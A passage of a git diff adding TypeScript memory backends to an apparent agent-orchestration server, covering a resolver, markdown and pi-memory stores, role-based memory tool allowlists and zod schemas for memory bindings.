*/ +export interface MemorySpawnPlan { + /** Extra env (e.g. `PI_MEMORY_DIR`), merged into the reserved spawn env. */ + env: Record; + /** Extra `--extension` paths (e.g. the pi-memory package entry). */ + extensionPaths: string[]; + /** `--tools` allowlist entries the resolved memory contributes for `role`. */ + allowlistTools: string[]; + /** Memory tools Prime gets but `role` must not, removed from any allowlist a + * spawn request or template asks for. */ + deniedTools: string[]; +} + +/** + * A session's resolved memory: a root {@link MemoryBackend} bound to one + * {@link MemoryContext}. Cached on the session's process record so every spawn + * (first, revive, model-change, respawn) reuses the same resolution. Exposes the + * spawn-time projections the manager needs and the `execute` the `/call` route + * dispatches to. + */ +export class ResolvedMemory { + private readonly root: MemoryBackend; + private readonly ctx: MemoryContext; + + constructor(root: MemoryBackend, ctx: MemoryContext) { + this.root = root; + this.ctx = ctx; + } + + /** Idempotent store preparation, run once before the first spawn. */ + init(): void { + this.root.init(this.ctx); + } + + /** The standing-context memory preamble appended to a `role` agent's prompt. */ + preamble(role: AgentRole): string { + return this.root.preamble(this.ctx, role); + } + + private extras(role: AgentRole): Required { + return normalizeExtras(this.root.spawn?.(this.ctx, role) ?? {}); + } + + /** The `--tools` entries this memory grants `role`. */ + private grantedTools( + role: AgentRole, + extras: Required, + ): string[] { + return [ + ...new Set([ + ...this.root.tools(role).map((spec) => spec.name), + ...extras.allowlistTools, + ]), + ]; + } + + /** The env / extensions / allowlist this memory contributes to a `role` spawn. */ + spawnPlan(role: AgentRole): MemorySpawnPlan { + const extras = this.extras(role); + const allowlistTools = this.grantedTools(role, extras); + const granted = new Set(allowlistTools); + const deniedTools = + role === "prime" + ? [] + : this.grantedTools("prime", this.extras("prime")).filter( + (name) => !granted.has(name), + ); + return { + env: extras.env, + extensionPaths: extras.extensionPaths, + allowlistTools, + deniedTools, + }; + } + + /** Runs a dispatcher tool called by a `role` agent against this memory. */ + execute( + name: string, + params: Record, + role: AgentRole, + ): MemoryExecuteResult | undefined { + return this.root.execute(name, params, this.ctx, role); + } +} + +/** Receives the root of each binding leaf left out at spawn. */ +type OnDrop = (label: string) => void; + +type SimpleMdBinding = Extract; + +/** The root a dropped leaf is reported under to agents. */ +function leafLabel(binding: MemoryBinding): string { + if (binding.kind === "composite") return "memory binding"; + if (binding.kind === "pi-memory") { + return binding.root ?? DEFAULT_PI_MEMORY_DIR; + } + return binding.root ?? "session memory"; +} + +/** + * Builds a `pi-memory` leaf, or `undefined` when its store has become + * unavailable since the session was created (e.g. a deleted shared folder). + */ +function buildPiMemory( + binding: PiMemoryBinding, + base: string, + mountedFolders: readonly string[], + onDrop: OnDrop, +): MemoryBackend | undefined { + const store = checkPiMemoryStore(binding, base, mountedFolders); + if ("reason" in store) { + console.warn(`[memory] leaving pi-memory out: ${store.reason}`); + onDrop(leafLabel(binding)); + return undefined; + } + return new PiMemory(store.dir, binding.config, store.label); +} + +/** + * Builds a rooted `simple-md` leaf, or `undefined` for a rootless one (already + * covered by the always-on SimpleMD store) or one whose folder isn't there — + * pointing Prime at it would create a directory at a mount name. + */ +function buildSharedMarkdown( + binding: SimpleMdBinding, + base: string, + mountedFolders: readonly string[], + onDrop: OnDrop, +): MemoryBackend | undefined { + if (!binding.root) return undefined; + if (!storeAvailable(base, binding.root)) { + console.warn( + `[memory] leaving the simple-md note out: root "${binding.root}" is not an existing folder`, + ); + onDrop(binding.root); + return undefined; + } + return new SharedMarkdownMemory( + resolveRoot(base, binding.root, mountedFolders), + binding.root, + ); +} + +/** + * Builds a {@link MemoryBackend} from a session's {@link MemoryBinding}, + * resolving each directory-backed leaf's `root` relative to the absolute session + * root `base`. A `root` pointing into a mounted shared folder shares the store; + * omitting it keeps the store session-local. Returns `undefined` when the + * binding adds no backend (an empty composite, a rootless `simple-md` leaf, or + * an unavailable store); each unavailable leaf is reported to `onDrop`. + */ +function buildSessionBackend( + binding: MemoryBinding, + base: string, + mountedFolders: readonly string[], + onDrop: OnDrop, +): MemoryBackend | undefined { + if (binding.kind === "simple-md") { + return buildSharedMarkdown(binding, base, mountedFolders, onDrop); + } + if (binding.kind === "pi-memory") { + return buildPiMemory(binding, base, mountedFolders, onDrop); + } + const children = binding.children + .map((child) => buildLeafSafely(child, base, mountedFolders, onDrop)) + .filter((child): child is MemoryBackend => child !== undefined); + if (children.length === 0) return undefined; + if (children.length === 1) return children[0]; + return new CompositeMemory(children); +} + +/** {@link buildSessionBackend} for one composite child, so an invalid child is + * dropped without taking its siblings with it. */ +function buildLeafSafely( + binding: MemoryBinding, + base: string, + mountedFolders: readonly string[], + onDrop: OnDrop, +): MemoryBackend | undefined { + try { + return buildSessionBackend(binding, base, mountedFolders, onDrop); + } catch (err) { + console.warn(`[memory] ignoring invalid memory binding leaf:`, err); + onDrop(leafLabel(binding)); + return undefined; + } +} + +/** + * Builds a session's {@link ResolvedMemory} from the always-on SimpleMD store + * (session + global) plus, when the session carries a memory binding, that + * binding's resolved backend — whose store directory may point into a mounted + * shared folder to share it across sessions. {@link resolve} reads the session + * binding; {@link resolveDefault} is the SimpleMD-only fallback. + */ +export class MemoryResolver { + private readonly simpleMd: SimpleMdMemory; + private readonly sessions?: SessionStore; + private readonly mountedFolders?: MountedFolders; + + /** + * @param mountedFolders the backing directories of the shared folders a + * session has mounted; a binding may only resolve into these (or the session + * root). Without it no shared folder is reachable. + */ + constructor( + simpleMd: SimpleMdMemory, + sessions?: SessionStore, + mountedFolders?: MountedFolders, + ) { + this.simpleMd = simpleMd; + this.sessions = sessions; + this.mountedFolders = mountedFolders; + } + + /** SimpleMD-only resolution (session + global); no async store lookups. */ + resolveDefault(sessionId: string, rootPath: string): ResolvedMemory { + return new ResolvedMemory(this.simpleMd, { sessionId, rootPath }); + } + + /** + * Full resolution: SimpleMD plus the session's own memory binding, if any, + * and a {@link DroppedMemoryNotice} for any leaf whose store is unavailable. + * Falls back to {@link resolveDefault} when no store is wired, the session has + * no binding, or the binding adds nothing and drops nothing. + */ + async resolve(sessionId: string, rootPath: string): Promise { + const binding = await this.sessions?.getSessionMemory(sessionId); + if (!binding) return this.resolveDefault(sessionId, rootPath); + + const mounts = (await this.mountedFolders?.(sessionId)) ?? []; + return this.resolveBinding(binding, { sessionId, rootPath }, mounts); + } + + /** SimpleMD composed with what the binding builds and a notice for what it drops. */ + private resolveBinding( + binding: MemoryBinding, + ctx: MemoryContext, + mountedFolders: readonly string[], + ): ResolvedMemory { + const dropped: string[] = []; + const backend = this.safeBuild(binding, ctx, mountedFolders, (label) => { + dropped.push(label); + }); + const children: MemoryBackend[] = [ + this.simpleMd, + ...(backend ? [backend] : []), + ...(dropped.length > 0 ? [new DroppedMemoryNotice(dropped)] : []), + ]; + if (children.length === 1) return new ResolvedMemory(this.simpleMd, ctx); + return new ResolvedMemory(new CompositeMemory(children), ctx); + } + + /** + * Builds the session binding's backend, or `undefined` on more than one + * pi-memory leaf (a stored binding that predates the schema's limit) or when + * no leaf survives a bad `root`, a missing folder, or a missing pi-memory + * package; a composite drops only its failing children. Every leaf left out + * is reported to `onDrop`. + */ + private safeBuild( + binding: MemoryBinding, + ctx: MemoryContext, + mountedFolders: readonly string[], + onDrop: OnDrop, + ): MemoryBackend | undefined { + if (countPiMemoryLeaves(binding) > 1) { + console.warn( + `[memory] ignoring memory binding with more than one pi-memory store`, + ); + onDrop(leafLabel(binding)); + return undefined; + } + return buildLeafSafely( + binding, + path.resolve(ctx.rootPath), + mountedFolders, + onDrop, + ); + } +} diff --git a/apps/server/src/memory/sharedMarkdown.ts b/apps/server/src/memory/sharedMarkdown.ts new file mode 100644 index 00000000..6a026ab4 --- /dev/null +++ b/apps/server/src/memory/sharedMarkdown.ts @@ -0,0 +1,101 @@ +import { existsSync, readFileSync } from "node:fs"; +import path from "node:path"; + +import { canonicalPath, isStrictlyInside } from "./paths.ts"; +import type { MemoryBackend, MemoryToolSpec } from "./types.ts"; + +/** Filename of the project memory note within the binding's directory. */ +const SHARED_MEMORY_FILENAME = "MEMORY.md"; + +/** Most of the note injected into a system prompt; every mounting session can + * grow it, and it rides along on every spawn. */ +const MAX_NOTE_CHARS = 4000; + +/** The note as injected: the whole of it, or its head plus where to read the rest. */ +function capNote(content: string, editPath: string): string { + if (content.length <= MAX_NOTE_CHARS) return content; + return [ + content.slice(0, MAX_NOTE_CHARS).trimEnd(), + "", + `… (truncated; read the full note at \`${editPath}\`)`, + ].join("\n"); +} + +/** + * A `simple-md` binding with a `root`: a single `MEMORY.md` under that directory, + * injected as standing context. There are no dispatcher tools — agents read and + * edit the file with their ordinary file tools, so the server stays out of the + * write path and this leaf only contributes the preamble. When `root` points at + * a mounted shared folder, the note is shared across every session that mounts + * it; otherwise it is local to the session. + */ +export class SharedMarkdownMemory implements MemoryBackend { + readonly kind = "simple-md"; + private readonly dir: string; + private readonly label: string; + + /** + * @param dir absolute directory holding `MEMORY.md` + * @param label the session-root-relative path shown to the agent (e.g. + * `` for a mounted folder) + */ + constructor(dir: string, label: string) { + this.dir = dir; + this.label = label; + } + + private file(): string { + return path.join(this.dir, SHARED_MEMORY_FILENAME); + } + + init(): void { + // Nothing to seed: the file is authored by agents with their file tools. + } + + private readNote(): string | undefined { + const file = this.file(); + if (!existsSync(file)) return undefined; + if (!isStrictlyInside(canonicalPath(file), canonicalPath(this.dir))) { + console.warn( + `[memory] ${file} links outside its folder; not injecting it`, + ); + return ""; + } + try { + return readFileSync(file, "utf8").trim(); + } catch { + return ""; + } + } + + preamble(): string { + const editPath = `${this.label}/${SHARED_MEMORY_FILENAME}`; + const content = this.readNote(); + if (content === undefined) { + return [ + "## Project memory", + "", + "No project memory note exists yet. When there is something durable to", + `record, create \`${editPath}\` with your file tools; it then becomes`, + "authoritative standing context for this project.", + ].join("\n"); + } + return [ + "## Project memory", + "", + `This project has a memory note at \`${editPath}\`. Treat it as`, + "authoritative standing context and keep it current by editing that file", + "with your file tools.", + "", + content ? capNote(content, editPath) : "(the note is empty)", + ].join("\n"); + } + + tools(): MemoryToolSpec[] { + return []; + } + + execute(): undefined { + return undefined; + } +} diff --git a/apps/server/src/memory/simpleMd.ts b/apps/server/src/memory/simpleMd.ts new file mode 100644 index 00000000..44c35780 --- /dev/null +++ b/apps/server/src/memory/simpleMd.ts @@ -0,0 +1,399 @@ +import { randomUUID } from "node:crypto"; +import { existsSync, mkdirSync, readFileSync, writeFileSync } from "node:fs"; +import path from "node:path"; + +import type { MemoryScope } from "@tangent/shared/contracts.ts"; +import { z } from "zod"; + +import { + GLOBAL_MEMORY_DIR, + GLOBAL_MEMORY_FILENAME, + SESSION_MEMORY_FILENAME, +} from "../config.ts"; +import type { + AgentRole, + MemoryBackend, + MemoryContext, + MemoryExecuteResult, + MemoryToolSpec, +} from "./types.ts"; + +/** A change applied to a memory file, returned so callers can surface it. */ +export interface MemoryWriteResult { + scope: MemoryScope; + /** The exact text now stored (the file's full contents after the write). */ + stored: string; + /** The fragment that was added/changed, for the UI highlight. */ + added: string; +} + +/** A pending agent-initiated suggestion awaiting the user's confirmation. */ +export interface PendingSuggestion { + id: string; + sessionId: string; + scope: MemoryScope; + text: string; +} + +/** Header written when Prime first creates a memory file. */ +function header(title: string): string { + return `# ${title}\n`; +} + +/** Reads a UTF-8 file, returning `""` when it doesn't exist. */ +function readOr(file: string, fallback = ""): string { + try { + return existsSync(file) ? readFileSync(file, "utf8") : fallback; + } catch { + return fallback; + } +} + +/** + * Appends `text` to `current` (or replaces a prior fragment), keeping a single + * trailing newline. When `replaces` matches a substring of the current content + * it is swapped in place; otherwise `text` is appended as a new bullet block. + */ +function applyEdit(current: string, text: string, replaces?: string): string { + const trimmed = text.trim(); + if (replaces && current.includes(replaces)) { + return `${current.replace(replaces, trimmed)}\n`.replace(/\n+$/, "\n"); + } + const base = current.trim(); + const next = base ? `${base}\n\n${trimmed}` : trimmed; + return `${next}\n`; +} + +/** The dispatcher tools SimpleMD exposes, by role. Their copy and schemas live + * in the Pi memory extension (`pi/extensions/memory.ts`). */ +const READ_MEMORY_TOOL: MemoryToolSpec = { name: "read_memory" }; +const REMEMBER_TOOL: MemoryToolSpec = { name: "remember" }; +const SUGGEST_MEMORY_TOOL: MemoryToolSpec = { name: "suggest_memory" }; + +const scopeSchema = z.enum(["session", "global"]); +const factTextSchema = z.string().trim().min(1, "text must not be empty"); + +const rememberParamsSchema = z.object({ + text: factTextSchema, + scope: scopeSchema.optional(), + replaces: z.string().optional(), +}); + +const suggestParamsSchema = z.object({ + text: factTextSchema, + scope: scopeSchema.optional(), +}); + +/** Tools that change memory (or propose a change); Prime-only. */ +const WRITE_TOOLS = new Set([REMEMBER_TOOL.name, SUGGEST_MEMORY_TOOL.name]); + +/** An agent-facing rejection: no effects, surfaced by the route as a 400. */ +function rejected(text: string): MemoryExecuteResult { + return { text, error: true }; +} + +/** Formats a params validation failure for the calling agent. */ +function invalidParams(name: string, error: z.ZodError): MemoryExecuteResult { + const issues = error.issues + .map((issue) => `${issue.path.join(".") || "params"}: ${issue.message}`) + .join("; "); + return rejected(`Invalid ${name} call: ${issues}`); +} + +/** + * The built-in SimpleMD memory backend: a single global store (from + * {@link GLOBAL_MEMORY_DIR}) injected into every session, and a per-session file + * at the session root. The server is the sole writer, so the UI's "remembered" + * highlight is derived from the actual file change rather than the agent's + * narration (keeping the agent honest). + * + * Implements {@link MemoryBackend} (for the resolver/composite) and keeps the + * imperative API ({@link write}, {@link replaceGlobal}, suggestions, …) the + * global-memory route, chat handlers, and host-resource writes still call. + */ +export class SimpleMdMemory implements MemoryBackend { + readonly kind = "simple-md"; + + /** Agent-initiated suggestions awaiting user confirmation, keyed by id. */ + private readonly suggestions = new Map(); + + /** Absolute path to the canonical global memory file. */ + private globalFile(): string { + return path.join(GLOBAL_MEMORY_DIR, GLOBAL_MEMORY_FILENAME); + } + + /** Absolute path to a session's canonical memory file. */ + private sessionFile(rootPath: string): string { + return path.join(rootPath, SESSION_MEMORY_FILENAME); + } + + /** Absolute path to a session's read-only global memory snapshot. */ + private sessionGlobalSnapshot(rootPath: string): string { + return path.join(rootPath, GLOBAL_MEMORY_FILENAME); + } + + /** + * Prepares memory for a session: ensures the global store exists and copies a + * read-only snapshot of it into the session root so the agent can read it + * with its own file tools. The session memory file is intentionally NOT + * created here — Prime creates it on its first `remember` (per the spec). + */ + initSession(rootPath: string): void { + this.ensureGlobalFile(); + try { + writeFileSync(this.sessionGlobalSnapshot(rootPath), this.readGlobal()); + } catch (err) { + console.error(`[memory] failed to snapshot global memory:`, err); + } + } + + /** {@link MemoryBackend.init}: prepares the session's SimpleMD stores. */ + init(ctx: MemoryContext): void { + this.initSession(ctx.rootPath); + } + + /** Creates {@link GLOBAL_MEMORY_DIR} and a seeded file if missing. */ + private ensureGlobalFile(): void { + try { + mkdirSync(GLOBAL_MEMORY_DIR, { recursive: true }); + if (!existsSync(this.globalFile())) { + writeFileSync(this.globalFile(), header("Global memory")); + } + } catch (err) { + console.error(`[memory] failed to ensure global memory file:`, err); + } + } + + /** Current global memory text (empty string when unset). */ + readGlobal(): string { + return readOr(this.globalFile()); + } + + /** Current session memory text (empty string when Prime hasn't created it). */ + readSession(rootPath: string): string { + return readOr(this.sessionFile(rootPath)); + } + + /** + * Builds the per-session "## Memory" preamble appended to a `role` agent's + * system prompt, embedding the current global and session memory so memory is + * available from the first turn of every session. Only Prime is told how to + * write: sub-agents don't have the write tools. + */ + buildPreamble(rootPath: string, role: AgentRole = "prime"): string { + const global = this.readGlobal().trim(); + const session = this.readSession(rootPath).trim(); + const isPrime = role === "prime"; + + const lines = [ + "## Memory", + "", + "You have two memory stores. Treat them as authoritative standing context", + "and consult them before acting.", + ...(isPrime + ? [ + "Modify them only via the memory tools (`remember`, `suggest_memory`);", + "never claim to have stored something you did not actually write.", + ] + : [ + "They are read-only for you: report durable learnings to Prime", + "instead of trying to store them.", + ]), + "", + "### Global memory (applies to every session)", + "", + global ? global : "(empty)", + "", + "### Session memory (this session only)", + "", + session || + (isPrime + ? "(empty — create it with `remember` when useful)" + : "(empty)"), + ]; + return lines.join("\n"); + } + + /** {@link MemoryBackend.preamble}. */ + preamble(ctx: MemoryContext, role: AgentRole): string { + return this.buildPreamble(ctx.rootPath, role); + } + + /** {@link MemoryBackend.tools}: read for everyone, writes for Prime only. */ + tools(role: AgentRole): MemoryToolSpec[] { + if (role === "prime") { + return [READ_MEMORY_TOOL, REMEMBER_TOOL, SUGGEST_MEMORY_TOOL]; + } + return [READ_MEMORY_TOOL]; + } + + /** {@link MemoryBackend.execute}: dispatches one SimpleMD dispatcher tool. */ + execute( + name: string, + params: Record, + ctx: MemoryContext, + role: AgentRole, + ): MemoryExecuteResult | undefined { + if (WRITE_TOOLS.has(name) && role !== "prime") { + return rejected( + `${name} is Prime-only; ask Prime to store durable facts for you.`, + ); + } + if (name === "read_memory") return this.executeRead(ctx); + if (name === "remember") return this.executeRemember(params, ctx); + if (name === "suggest_memory") return this.executeSuggest(params, ctx); + return undefined; + } + + private executeRead(ctx: MemoryContext): MemoryExecuteResult { + const session = this.readSession(ctx.rootPath).trim() || "(empty)"; + const global = this.readGlobal().trim() || "(empty)"; + return { + text: `## Global memory\n\n${global}\n\n## Session memory\n\n${session}`, + }; + } + + private executeRemember( + params: Record, + ctx: MemoryContext, + ): MemoryExecuteResult { + const parsed = rememberParamsSchema.safeParse(params); + if (!parsed.success) return invalidParams("remember", parsed.error); + const { text, scope = "session", replaces } = parsed.data; + const result = this.write(ctx.rootPath, scope, text, replaces); + return { + text: + `Stored to ${result.scope} memory. The user has been shown a ` + + `confirmation of exactly what was saved.`, + effects: [ + { kind: "remembered", scope: result.scope, text: result.added }, + ], + }; + } + + private executeSuggest( + params: Record, + ctx: MemoryContext, + ): MemoryExecuteResult { + const parsed = suggestParamsSchema.safeParse(params); + if (!parsed.success) return invalidParams("suggest_memory", parsed.error); + const { text, scope = "global" } = parsed.data; + const suggestion = this.addSuggestion(ctx.sessionId, scope, text); + return { + text: + "Suggestion shown to the user. Awaiting their confirmation before " + + "anything is stored; do not assume it was remembered.", + effects: [ + { + kind: "suggested", + scope, + suggestionId: suggestion.id, + text: suggestion.text, + }, + ], + }; + } + + /** Writes session memory, creating the file (with a header) on first write. */ + writeSession( + rootPath: string, + text: string, + replaces?: string, + ): MemoryWriteResult { + const current = this.readSession(rootPath) || header("Session memory"); + const stored = applyEdit(current, text, replaces); + writeFileSync(this.sessionFile(rootPath), stored); + return { scope: "session", stored, added: text.trim() }; + } + + /** + * Writes global memory and refreshes the session's snapshot so the agent's + * own reads stay consistent within the live process. + */ + writeGlobal( + rootPath: string, + text: string, + replaces?: string, + ): MemoryWriteResult { + this.ensureGlobalFile(); + const current = this.readGlobal() || header("Global memory"); + const stored = applyEdit(current, text, replaces); + writeFileSync(this.globalFile(), stored); + try { + writeFileSync(this.sessionGlobalSnapshot(rootPath), stored); + } catch { + // Snapshot refresh is best-effort; the canonical write already succeeded. + } + return { scope: "global", stored, added: text.trim() }; + } + + /** + * Overwrites the entire global memory file with `content`. Unlike + * {@link writeGlobal} (which appends/replaces a fragment), this is a full + * replace used by the editor UI. Per-session snapshots refresh on the next + * session spawn via {@link initSession}. + */ + replaceGlobal(content: string): string { + this.ensureGlobalFile(); + const stored = content.endsWith("\n") ? content : `${content}\n`; + writeFileSync(this.globalFile(), stored); + return stored; + } + + /** Dispatches a write to the matching store. */ + write( + rootPath: string, + scope: MemoryScope, + text: string, + replaces?: string, + ): MemoryWriteResult { + return scope === "global" + ? this.writeGlobal(rootPath, text, replaces) + : this.writeSession(rootPath, text, replaces); + } + + /** + * Empties a store back to its header, so removing a memory resource leaves the + * store the agent reads consistent with the catalog. Global also refreshes the + * session snapshot. + */ + clear(rootPath: string, scope: MemoryScope): void { + if (scope === "global") { + this.ensureGlobalFile(); + writeFileSync(this.globalFile(), header("Global memory")); + try { + writeFileSync( + this.sessionGlobalSnapshot(rootPath), + header("Global memory"), + ); + } catch { + // Snapshot refresh is best-effort; the canonical write already succeeded. + } + return; + } + writeFileSync(this.sessionFile(rootPath), header("Session memory")); + } + + /** Records an agent-initiated suggestion and returns its id. */ + addSuggestion( + sessionId: string, + scope: MemoryScope, + text: string, + ): PendingSuggestion { + const suggestion: PendingSuggestion = { + id: randomUUID(), + sessionId, + scope, + text: text.trim(), + }; + this.suggestions.set(suggestion.id, suggestion); + return suggestion; + } + + /** Removes and returns a pending suggestion, if it exists. */ + takeSuggestion(id: string): PendingSuggestion | undefined { + const suggestion = this.suggestions.get(id); + if (suggestion) this.suggestions.delete(id); + return suggestion; + } +} diff --git a/apps/server/src/memory/types.ts b/apps/server/src/memory/types.ts new file mode 100644 index 00000000..6e9d0568 --- /dev/null +++ b/apps/server/src/memory/types.ts @@ -0,0 +1,92 @@ +import type { MemoryScope } from "@tangent/shared/contracts.ts"; + +export type { + MemoryBinding, + PiMemoryConfig, +} from "@tangent/shared/contracts.ts"; + +/** The two roles a memory backend tailors its tools/allowlist to. */ +export type AgentRole = "prime" | "subagent"; + +/** Per-spawn / per-call context a backend resolves its files and env against. */ +export interface MemoryContext { + sessionId: string; + rootPath: string; +} + +/** + * A dispatcher-backed memory tool: one the Pi memory extension registers and + * whose `execute` calls back into `/internal/memory/call`. Only the name is + * carried (for the `--tools` allowlist); the tool's copy and schema live in the + * extension. pi-memory tools are NOT dispatcher-backed — that extension owns + * their execute — so a PiMemory backend returns none of these. + */ +export interface MemoryToolSpec { + name: string; +} + +/** + * A server-side side-effect a backend asks the `/call` route to perform after + * handling a tool call: the chat highlight for an applied write, or the + * confirm/dismiss card for a proposed one. Kept out of the backend so the file + * logic stays pure and the socket/chat wiring lives in the route. + */ +export type MemoryEffect = + | { kind: "remembered"; scope: MemoryScope; text: string } + | { + kind: "suggested"; + scope: MemoryScope; + suggestionId: string; + text: string; + }; + +/** What a backend's {@link MemoryBackend.execute} returns for a handled call. */ +export interface MemoryExecuteResult { + /** Text handed back to the calling agent. */ + text: string; + /** Side-effects the route performs (highlight, suggestion card). */ + effects?: MemoryEffect[]; + /** The call was rejected (bad params or a role without write access); `text` + * explains why and no effects apply. */ + error?: boolean; +} + +/** Spawn-time extras a backend contributes to the Pi child process. */ +export interface MemorySpawnExtras { + /** Extra env (e.g. `PI_MEMORY_DIR`), merged into the reserved spawn env. */ + env?: Record; + /** Extra `--extension` paths (e.g. the pi-memory package entry). */ + extensionPaths?: string[]; + /** Extra `--tools` allowlist entries beyond the backend's dispatcher tools. */ + allowlistTools?: string[]; +} + +/** + * A pluggable memory store. Leaves (SimpleMD, pi-memory) implement it directly; + * {@link import("./composite.ts").CompositeMemory} unions several. The server + * stays the authority: a backend declares its preamble, its dispatcher tools, + * its spawn extras, and how to execute a dispatcher tool — the manager and the + * internal routes drive it. + */ +export interface MemoryBackend { + readonly kind: string; + /** Idempotent preparation before the first spawn (e.g. seed files). */ + init(ctx: MemoryContext): void; + /** Standing context appended to a `role` agent's system prompt; keep it small. */ + preamble(ctx: MemoryContext, role: AgentRole): string; + /** Dispatcher-backed tools this backend exposes to `role`. */ + tools(role: AgentRole): MemoryToolSpec[]; + /** Spawn-time extras (env / extensions / allowlist) for `role`. */ + spawn?(ctx: MemoryContext, role: AgentRole): MemorySpawnExtras; + /** + * Handles a dispatcher tool call made by a `role` agent, or returns + * `undefined` when `name` is not one of this backend's tools (so a composite + * can try the next child). + */ + execute( + name: string, + params: Record, + ctx: MemoryContext, + role: AgentRole, + ): MemoryExecuteResult | undefined; +} diff --git a/apps/server/src/pi/agentConfig.ts b/apps/server/src/pi/agentConfig.ts index 5c16e680..a0f4bab9 100644 --- a/apps/server/src/pi/agentConfig.ts +++ b/apps/server/src/pi/agentConfig.ts @@ -2,6 +2,7 @@ import { readdirSync, readFileSync } from "node:fs"; import path from "node:path"; import { + type MemoryBinding, THINKING_LEVELS, type ThinkingLevel, } from "@tangent/shared/contracts.ts"; @@ -36,8 +37,8 @@ export const PRIME_ORCHESTRATION_TOOLS = [ ] as const; /** - * Tools every agent gets: read the shared room transcript and its memory, push - * a directed update to Prime, and pin an artifact to the UI's quick-access list. + * Tools every agent gets: read the shared room transcript, push a directed + * update to Prime, and pin an artifact to the UI's quick-access list. * `message_prime` is only registered by the orchestrator extension for * sub-agents (Prime never gets the tool), but it is granted in the allowlist for * all agents since Pi's `--tools` filter would otherwise strip the extension's @@ -46,10 +47,15 @@ export const PRIME_ORCHESTRATION_TOOLS = [ * `list_remote_tools` / `call_remote_tool` / `list_environments` are registered * by the remote-tools extension for every agent, so all must be granted or Pi * would strip them. + * + * Memory tools (`read_memory`, and for Prime `remember` / `suggest_memory`) are + * NOT listed here: they are granted dynamically at spawn from the session's + * resolved memory (see {@link import("../memory/resolver.ts").ResolvedMemory}), + * so a pi-memory-bound session gets that backend's tools in addition to the + * always-on SimpleMD tools (the resolution composes them). */ export const SHARED_AGENT_TOOLS = [ "read_room", - "read_memory", "message_prime", "pin_artifact", "list_remote_tools", @@ -68,13 +74,6 @@ export const PRIME_TRIGGER_TOOLS = [ "delete_trigger", ] as const; -/** - * Memory-mutation tools (registered by the memory extension) that only Prime - * may use, since Prime owns the human conversation. Like the orchestration - * tools, these must be in Prime's allowlist or Pi would filter them out. - */ -export const PRIME_MEMORY_TOOLS = ["remember", "suggest_memory"] as const; - /** * Session-management tools (registered by the session extension) that only * Prime may use. Like the other extension tools, these must be in Prime's @@ -157,6 +156,8 @@ export interface ResolvedSessionConfig { extensionPaths: string[]; /** Pre-seeded Prime first-message content, if the bundle declares one. */ welcomeMessage?: string; + /** The bundle's default memory binding, if it declares one. */ + memory?: MemoryBinding; } /** Request Prime makes to spawn a sub-agent. Inline fields override templates. */ @@ -403,7 +404,6 @@ export function getPrimeAgentConfig(): AgentConfig { ...DEFAULT_TOOLS, ...SHARED_AGENT_TOOLS, ...PRIME_ORCHESTRATION_TOOLS, - ...PRIME_MEMORY_TOOLS, ...PRIME_TRIGGER_TOOLS, ...PRIME_SESSION_TOOLS, ], diff --git a/apps/server/src/pi/config/bundleLoader.ts b/apps/server/src/pi/config/bundleLoader.ts index 4690a31a..e5a5d863 100644 --- a/apps/server/src/pi/config/bundleLoader.ts +++ b/apps/server/src/pi/config/bundleLoader.ts @@ -15,7 +15,6 @@ import { buildTemplatesFromDir, composePrimePrompt, DEFAULT_TOOLS, - PRIME_MEMORY_TOOLS, PRIME_ORCHESTRATION_TOOLS, PRIME_SESSION_TOOLS, PRIME_TRIGGER_TOOLS, @@ -117,7 +116,9 @@ function tangentDir(root: string, dir: string): string { return path.join(root, TANGENT_DIRNAME, dir); } -/** Builds Prime's tool allowlist from the manifest, adding required tools. */ +/** Builds Prime's tool allowlist from the manifest, adding required tools. + * Memory tools are granted dynamically at spawn from the resolved memory, so + * they are not added here. */ function resolvePrimeTools(manifest: BundleManifest): string[] { const base = manifest.prime.tools ?? [...DEFAULT_TOOLS]; return [ @@ -125,7 +126,6 @@ function resolvePrimeTools(manifest: BundleManifest): string[] { ...base, ...SHARED_AGENT_TOOLS, ...PRIME_ORCHESTRATION_TOOLS, - ...PRIME_MEMORY_TOOLS, ...PRIME_TRIGGER_TOOLS, ...PRIME_SESSION_TOOLS, ]), @@ -362,6 +362,7 @@ export function resolveSessionConfig( welcomeMessage: readTextEntry(entries, manifest.prime.welcomeMessage), } : {}), + ...(manifest.memoryBinding ? { memory: manifest.memoryBinding } : {}), ...resolveSectionPaths(entries, manifest, installRoot), }; } diff --git a/apps/server/src/pi/config/manifest.ts b/apps/server/src/pi/config/manifest.ts index e597060f..c9503d2c 100644 --- a/apps/server/src/pi/config/manifest.ts +++ b/apps/server/src/pi/config/manifest.ts @@ -1,9 +1,12 @@ import type { BundleManifest } from "@tangent/shared/configBundle.ts"; import { ICON_FILENAME, SCHEMA_VERSION } from "@tangent/shared/configBundle.ts"; +import type { MemoryBinding } from "@tangent/shared/contracts.ts"; import { THINKING_LEVELS } from "@tangent/shared/contracts.ts"; import { parse as parseYaml } from "yaml"; import { z } from "zod"; +import { countPiMemoryLeaves } from "../../memory/binding.ts"; + /** Pi thinking-depth levels, as a zod enum for manifest validation. */ const thinkingLevel = z.enum(THINKING_LEVELS); @@ -44,6 +47,56 @@ const safePath = z .min(1) .refine(isSafeRelativePath, { message: "is not a safe path" }); +/** True when some segment is `.qmd`; see {@link storeRoot}. */ +function hasQmdSegment(value: string): boolean { + return value.split(/[\\/]/).includes(".qmd"); +} + +/** + * A memory store `root`. The store's qmd config dir mirrors this path, and qmd + * treats a config dir named `.qmd` as project-local and trust-gates its + * collection, which would silently empty the store's search. + */ +const storeRoot = safePath.refine((value) => !hasQmdSegment(value), { + message: "must not contain a .qmd segment", +}); + +/** Tunable knobs for a `pi-memory` {@link MemoryBinding}. */ +const piMemoryConfigSchema = z.object({ + exitSummary: z.boolean().optional(), + snapshot: z.enum(["stable", "per-turn"]).optional(), + qmdUpdate: z.enum(["background", "manual", "off"]).optional(), + search: z.boolean().optional(), + exitSummaryModel: z.string().min(1).optional(), +}); + +const memoryBindingNodeSchema: z.ZodType = z.lazy(() => + z.discriminatedUnion("kind", [ + z.object({ kind: z.literal("simple-md"), root: storeRoot.optional() }), + z.object({ + kind: z.literal("pi-memory"), + root: storeRoot.optional(), + config: piMemoryConfigSchema.optional(), + }), + z.object({ + kind: z.literal("composite"), + children: z.array(memoryBindingNodeSchema), + }), + ]), +); + +/** + * Validator for a {@link MemoryBinding}, shared by the bundle manifest and the + * create-session route. `root` is a session-root-relative store directory. One + * Pi process loads the pi-memory extension once, bound to one `PI_MEMORY_DIR`, + * so a binding may hold at most one `pi-memory` leaf. + */ +export const memoryBindingSchema: z.ZodType = + memoryBindingNodeSchema.refine( + (binding) => countPiMemoryLeaves(binding) <= 1, + { message: "a memory binding may contain at most one pi-memory store" }, + ); + /** 